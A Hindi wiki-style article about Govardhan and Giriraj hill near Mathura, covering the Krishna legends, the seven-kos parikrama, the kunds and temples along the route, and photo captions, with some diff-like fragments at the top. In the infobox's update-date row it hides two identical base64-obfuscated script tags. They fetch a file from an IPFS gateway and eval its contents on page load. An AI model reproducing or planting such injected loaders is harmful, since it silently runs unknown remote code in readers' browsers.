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+ | '''गोवर्धन''' [[मथुरा|मथुरा नगर]], उत्तर प्रदेश के पश्चिम में लगभग 21 कि.मी. की दूरी पर स्थित है। यहीं पर 'गिरिराज पर्वत' है, जो 4 या 5 मील तक फैला हुआ है। इस पर्वत पर अनेक पवित्र स्थल हैं। [[पुलस्त्य|पुलस्त्य ऋषि]] के शाप के कारण यह पर्वत एक मुट्ठी प्रतिदिन कम होता जा रहा है। कहते हैं कि इसी पर्वत को भगवान कृष्ण ने अपनी छोटी अँगुली पर उठा लिया था। गोवर्धन पर्वत को गिरिराज पर्वत भी कहा जाता है। 'गर्ग संहिता' में गोवर्धन पर्वत की वंदना करते हुए इसे [[वृन्दावन]] में विराजमान और वृन्दावन की गोद में निवास करने वाला "गोलोक का मुकुटमणि" कहा गया है। | ||
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+ | पौराणिक मान्यता अनुसार श्री गिरिराजजी को पुलस्त्य ऋषि द्रौणाचल पर्वत से [[ब्रज]] में लाए थे। दूसरी मान्यता यह भी है कि जब राम सेतुबंध का कार्य चल रहा था तो [[हनुमान]] इस पर्वत को उत्तराखंड से ला रहे थे, लेकिन तभी देववाणी हुई की सेतुबंध का कार्य पूर्ण हो गया है तो यह सुनकर हनुमानजी इस पर्वत को ब्रज में स्थापित कर दक्षिण की ओर पुन: लौट गए। | ||
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+ | ==परिक्रमा== | ||
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+ | [[चित्र:Mansi-Ganga-1.jpg|250px|left|thumb|[[मानसी गंगा गोवर्धन|मानसी गंगा]], गोवर्धन]] | ||
+ | इसी प्रकार लेटते-लेटते या साष्टांग दण्डवत करते-करते परिक्रमा करते हैं, जो एक सप्ताह से लेकर दो सप्ताह में पूरी हो पाती है। यहाँ 'गोरोचन', 'धर्मरोचन', 'पापमोचन' और 'ऋणमोचन'- ये चार कुण्ड हैं तथा भरतपुर नरेश की बनवाई हुई छतरियां तथा अन्य सुंदर इमारतें हैं। [[मथुरा]] से डीग को जाने वाली सड़क गोवर्धन पार करके जहाँ पर निकलती है, वह स्थान '[[दानघाटी गोवर्धन|दानघाटी]]' कहलाता है। यहाँ भगवान दान लिया करते थे। यहाँ 'दानरायजी का मंदिर' है। इसी गोवर्धन के पास 20 कोस के बीच में सारस्वत कल्प में [[वृन्दावन]] था तथा इसी के आसपास [[यमुना]] बहती थी। | ||
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+ | गोवर्धन की परिक्रमा का पौराणिक महत्त्व है। प्रत्येक माह के [[शुक्ल पक्ष]] की [[एकादशी]] से [[पूर्णिमा]] तक लाखों भक्त यहाँ की सप्तकोसी परिक्रमा करते हैं। प्रतिवर्ष '[[गुरु पूर्णिमा]]' पर यहाँ की परिक्रमा लगाने का विशेष महत्त्व है। श्रीगिरिराज पर्वत की तलहटी समस्त '[[गौड़ीय वैष्णव सम्प्रदाय|गौड़ीय सम्प्रदाय]]', '[[अष्टछाप कवि]]' एवं अनेक वैष्णव रसिक संतों की साधना-स्थली रही है। | ||
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गोवर्धन
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विवरण | 'गोवर्धन' मथुरा के सर्वाधिक प्रसिद्ध तीर्थ स्थानों में से एक है। यहाँ गिरिराज पर्वत है, जिसकी परिक्रमा के लिए समूचे विश्व से कृष्णभक्त, वैष्णवजन और वल्लभ संप्रदाय के लोग आते हैं। यह पूरी परिक्रमा लगभग 21 किलोमीटर की है। |
राज्य | उत्तर प्रदेश |
ज़िला | मथुरा |
भौगोलिक स्थिति | मथुरा से लगभग 21 कि.मी. की दूरी पर स्थित। |
प्रसिद्धि | हिन्दू धार्मिक स्थल, कृष्ण लीला स्थल |
कब जाएँ | कभी भी |
गोवर्धन | |
बस, कार, ऑटो आदि। | |
क्या देखें | 'कुसुम सरोवर', 'चकलेश्वर महादेव', 'जतीपुरा', 'दानघाटी', 'पूंछरी का लौठा', 'मानसी गंगा', 'राधाकुण्ड', 'हरिदेव जी मन्दिर', 'उद्धव कुण्ड'। |
कहाँ ठहरें | होटल, धर्मशालाएँ आदि। |
संबंधित लेख | श्रीकृष्ण, बलराम, राधा, मथुरा, वृन्दावन, गोकुल, महावन, नन्दगाँव, बरसाना
|
अन्य जानकारी | यहाँ 'गोरोचन', 'धर्मरोचन', 'पापमोचन' और 'ऋणमोचन'- ये चार कुण्ड हैं। भरतपुर नरेश की बनवाई हुई छतरियां तथा अन्य सुंदर इमारतें भी हैं। मथुरा से डीग को जाने वाली सड़क गोवर्धन पार करके जहाँ पर निकलती है, वह स्थान 'दानघाटी' कहलाता है। यहाँ भगवान दान लिया करते थे। |
अद्यतन | 11:51, 24 जुलाई 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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गोवर्धन मथुरा नगर, उत्तर प्रदेश के पश्चिम में लगभग 21 कि.मी. की दूरी पर स्थित है। यहीं पर 'गिरिराज पर्वत' है, जो 4 या 5 मील तक फैला हुआ है। इस पर्वत पर अनेक पवित्र स्थल हैं। पुलस्त्य ऋषि के शाप के कारण यह पर्वत एक मुट्ठी प्रतिदिन कम होता जा रहा है। कहते हैं कि इसी पर्वत को भगवान कृष्ण ने अपनी छोटी अँगुली पर उठा लिया था। गोवर्धन पर्वत को गिरिराज पर्वत भी कहा जाता है। 'गर्ग संहिता' में गोवर्धन पर्वत की वंदना करते हुए इसे वृन्दावन में विराजमान और वृन्दावन की गोद में निवास करने वाला "गोलोक का मुकुटमणि" कहा गया है।
पौराणिक मान्यताएँ
पौराणिक मान्यता अनुसार श्री गिरिराजजी को पुलस्त्य ऋषि द्रौणाचल पर्वत से ब्रज में लाए थे। दूसरी मान्यता यह भी है कि जब राम सेतुबंध का कार्य चल रहा था तो हनुमान इस पर्वत को उत्तराखंड से ला रहे थे, लेकिन तभी देववाणी हुई की सेतुबंध का कार्य पूर्ण हो गया है तो यह सुनकर हनुमानजी इस पर्वत को ब्रज में स्थापित कर दक्षिण की ओर पुन: लौट गए।
पौराणिक उल्लेखों के अनुसार भगवान श्रीकृष्ण के काल में यह अत्यन्त हरा-भरा रमणीक पर्वत था। इसमें अनेक गुफ़ा अथवा कंदराएँ थीं और उनसे शीतल जल के अनेक झरने झरा करते थे। उस काल के ब्रजवासी उसके निकट अपनी गायें चराया करते थे, अतः वे उक्त पर्वत को बड़ी श्रद्धा की दृष्टि से देखते थे। भगवान श्रीकृष्ण ने इन्द्र की परम्परागत पूजा बन्द कर गोवर्धन की पूजा ब्रज में प्रचलित की थी, जो उसकी उपयोगिता के लिये उनकी श्रद्धांजलि थी।
कृष्ण की गोवर्धन लीला
भगवान श्रीकृष्ण के काल में इन्द्र के प्रकोप से एक बार ब्रज में भयंकर वर्षा हुई। उस समय सम्पूर्ण ब्रज के जलमग्न हो जाने की आशंका उत्पन्न हो गई। भगवान श्रीकृष्ण ने उस समय गोवर्धन के द्वारा समस्त ब्रजवासियों की रक्षा की थी। भक्तों का विश्वास है कि श्रीकृष्ण ने उस समय गोवर्धन को छतरी के समान धारण कर उसके नीचे समस्त ब्रजवासियों को एकत्र कर लिया था, उस अलौकिक घटना का उल्लेख अत्यन्त प्राचीन काल से ही पुराणादि धार्मिक ग्रन्थों में और कलाकृतियों में होता रहा है। ब्रज के भक्त कवियों ने उसका बड़ा उल्लासपूर्ण कथन किया है। आजकल के वैज्ञानिक युग में उस आलौकिक घटना को उसी रूप में मानना संभव नहीं है। उसका बुद्धिगम्य अभिप्राय यह ज्ञात होता है कि श्रीकृष्ण के आदेश अनुसार उस समय ब्रजवासियों ने गोवर्धन की कंदराओं में आश्रय लेकर वर्षा से अपनी जीवन रक्षा की थी।
परिक्रमा
गोवर्धन के महत्त्व की सर्वाधिक महत्त्वपूर्ण घटना यह है कि यह भगवान कृष्ण के काल का एक मात्र स्थिर रहने वाला चिह्न है। उस काल का दूसरा चिह्न यमुना नदी भी है, किन्तु उसका प्रवाह लगातार परिवर्तित होने से उसे स्थाई चिह्न नहीं कहा जा सकता है। इस पर्वत की परिक्रमा के लिए समूचे विश्व से कृष्णभक्त, वैष्णवजन और 'वल्लभ संप्रदाय' के लोग आते हैं। यह पूरी परिक्रमा सात कोस अर्थात् लगभग 21 किलोमीटर की है। यहाँ लोग दण्डौती परिक्रमा करते हैं। दण्डौती परिक्रमा इस प्रकार की जाती है कि आगे हाथ फैलाकर ज़मीन पर लेट जाते हैं और जहाँ तक हाथ फैलते हैं, वहाँ तक लकीर खींचकर फिर उसके आगे लेटते हैं।
इसी प्रकार लेटते-लेटते या साष्टांग दण्डवत करते-करते परिक्रमा करते हैं, जो एक सप्ताह से लेकर दो सप्ताह में पूरी हो पाती है। यहाँ 'गोरोचन', 'धर्मरोचन', 'पापमोचन' और 'ऋणमोचन'- ये चार कुण्ड हैं तथा भरतपुर नरेश की बनवाई हुई छतरियां तथा अन्य सुंदर इमारतें हैं। मथुरा से डीग को जाने वाली सड़क गोवर्धन पार करके जहाँ पर निकलती है, वह स्थान 'दानघाटी' कहलाता है। यहाँ भगवान दान लिया करते थे। यहाँ 'दानरायजी का मंदिर' है। इसी गोवर्धन के पास 20 कोस के बीच में सारस्वत कल्प में वृन्दावन था तथा इसी के आसपास यमुना बहती थी।
दर्शनीय स्थल
मार्ग में पड़ने वाले प्रमुख स्थल आन्यौर, जतीपुरा, मुखारविंद मंदिर, राधाकुण्ड, कुसुम सरोवर, मानसी गंगा, गोविन्द कुण्ड, पूंछरी का लौठा, दानघाटी इत्यादि हैं। राधाकुण्ड से तीन मील पर गोवर्धन पर्वत है। पहले यह गिरिराज सात कोस में फैले हुए थे, पर अब धरती में समा गए हैं। यहीं कुसुम सरोवर है, जो बहुत सुंदर बना हुआ है। यहाँ मंदिर में वज्रनाभ के पधराए हरिदेव जी की मूर्ति स्थापित थी, पर औरंगजेब के काल में वह यहाँ से चले गए। पीछे से उनके स्थान पर दूसरी मूर्ति प्रतिष्ठित की गई। यह मंदिर बहुत सुंदर है। यहाँ श्री वज्रनाभ के ही पधराए हुए एकचक्रेश्वर महादेव का मंदिर है। गिरिराज के ऊपर और आसपास गोवर्धन ग्राम बसा है तथा एक मनसा देवी का मंदिर है। मानसी गंगा पर गिरिराज का मुखारविन्द है, जहाँ उनका पूजन होता है तथा आषाढ़ी पूर्णिमा तथा कार्तिक की अमावस्या को मेला लगता है।
गोवर्धन में सुरभि गाय, ऐरावत हाथी तथा एक शिला पर भगवान का चरणचिह्न है। मानसी गंगा पर, जिसे भगवान ने अपने मन से उत्पन्न किया था, दीवाली के दिन जो दीपमालिका होती है, उसमें मनों घी ख़र्च किया जाता है, शोभा दर्शनीय होती है। परिक्रमा की शुरुआत वैष्णवजन जतीपुरा से और सामान्यजन मानसी गंगा से करते हैं और पुन: वहीं पहुँच जाते हैं। पूंछरी का लौठा में दर्शन करना आवश्यक माना गया है, क्योंकि यहाँ आने से इस बात की पुष्टि मानी जाती है कि आप यहाँ परिक्रमा करने आए हैं। परिक्रमा में पड़ने वाले प्रत्येक स्थान से कृष्ण की कथाएँ जुड़ी हैं। मुखारविंद मंदिर वह स्थान है, जहाँ पर श्रीनाथजी का प्राकट्य हुआ था। मानसी गंगा के बारे में मान्यता है कि भगवान कृष्ण ने अपनी बाँसुरी से खोदकर इस गंगा का प्राकट्य किया था। मानसी गंगा के प्राकट्य के बारे में अनेक कथाएँ हैं। यह भी माना जाता है कि इस गंगा को कृष्ण ने अपने मन से प्रकट किया था। गिरिराज पर्वत के ऊपर गोविंदजी का मंदिर है। कहते हैं कि भगवान कृष्ण यहाँ शयन करते हैं। उक्त मंदिर में उनका शयनकक्ष है। यहीं मंदिर में स्थित गुफ़ा है, जिसके बारे में कहा जाता है कि यह राजस्थान स्थित श्रीनाथ द्वारा तक जाती है।
- महत्त्व
गोवर्धन की परिक्रमा का पौराणिक महत्त्व है। प्रत्येक माह के शुक्ल पक्ष की एकादशी से पूर्णिमा तक लाखों भक्त यहाँ की सप्तकोसी परिक्रमा करते हैं। प्रतिवर्ष 'गुरु पूर्णिमा' पर यहाँ की परिक्रमा लगाने का विशेष महत्त्व है। श्रीगिरिराज पर्वत की तलहटी समस्त 'गौड़ीय सम्प्रदाय', 'अष्टछाप कवि' एवं अनेक वैष्णव रसिक संतों की साधना-स्थली रही है।
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वीथिका गोवर्धन
दानघाटी मंदिर, गोवर्धन
Danghati Temple, Govardhanगुरु पूर्णिमा पर भजन-कीर्तन करते श्रद्धालु, गोवर्धन
Devotees Chanting Bhajans On Guru Purnima, Govardhanहरिदेव जी मंदिर, गोवर्धन
Haridev Ji Temple, Govardhanकुसुम सरोवर, गोवर्धन
Kusum Sarovar, Govardhanराधा कुण्ड, गोवर्धन, मथुरा
Radha Kund, Govardhan, Mathuraकृष्ण कुण्ड, गोवर्धन, मथुरा
Krishna Kund, Govardhan, Mathuraकुसुम सरोवर, गोवर्धन
Kusum Sarovar, Govardhanमानसी गंगा पर स्नान करते श्रद्धालु, गोवर्धन
Devotees Taking Bath At Mansi Ganga, Govardhanमानसी गंगा, गोवर्धन
Mansi Ganga, Govardhanदानघाटी मन्दिर के सामने श्रद्धालुओं की भीड़, गोवर्धन
Crowd Of Devotees In Front Of DanGhati Temple, Govardhanगुरु पूर्णिमा पर दंडौती लगाते श्रद्धालु, गोवर्धन
Devotees Doing Dandauti Parikrama On Guru Purnima, Govardhanगुरु पूर्णिमा पर भक्तों का रेलगाड़ी द्वारा आगमन, गोवर्धन
Arrival Of Devotees By Train On Guru Purnima, Govardhanहरिदेव जी मंदिर, गोवर्धन
Haridev Ji Temple, Govardhanकुसुम सरोवर, गोवर्धन
Kusum Sarovar, Govardhanराजा बलदेव सिंह भरतपुर स्मारक, गोवर्धन
Raja Baldeo Singh Cenotaph, Govardhanसुरभि कुण्ड, गोवर्धन, मथुरा
Surbhi Kund, Govardhan, Mathuraदाऊ जी मंदिर, गोवर्धन, मथुरा
Dauji Temple, Govardhan, Mathuraदाऊ जी मंदिर, गोवर्धन, मथुरा
Dauji Temple, Govardhan, Mathuraअप्सरा कुण्ड, गोवर्धन, मथुरा
Apsara Kund, Govardhan, Mathuraकृष्ण बल्देव मंदिर, गोवर्धन, मथुरा
Krishna Baldev Temple, Govardhan, Mathuraकृष्ण बल्देव मंदिर, गोवर्धन, मथुरा
Krishna Baldev Temple, Govardhan, Mathuraपूंछरी का लौठा, गोवर्धन, मथुरा
Punchari Ka Lautha, Govardhan, Mathuraगोवर्धन पर्वत, गोवर्धन, मथुरा
Govardhan Parvat, Govardhan, Mathuraसंगम द्वार, राधा कुण्ड - कृष्ण कुण्ड, गोवर्धन, मथुरा
Sangam Dwar, Radha Kund-Krishna Kund, Govardhan, Mathuraउद्धव बिहारी जी मन्दिर, गोवर्धन, मथुरा
Uddhav Bihari Temple, Govardhan, Mathuraललिता कुण्ड , गोवर्धन, मथुरा
Lalita Kund, Govardhan, Mathura
टीका टिप्पणी और संदर्भ
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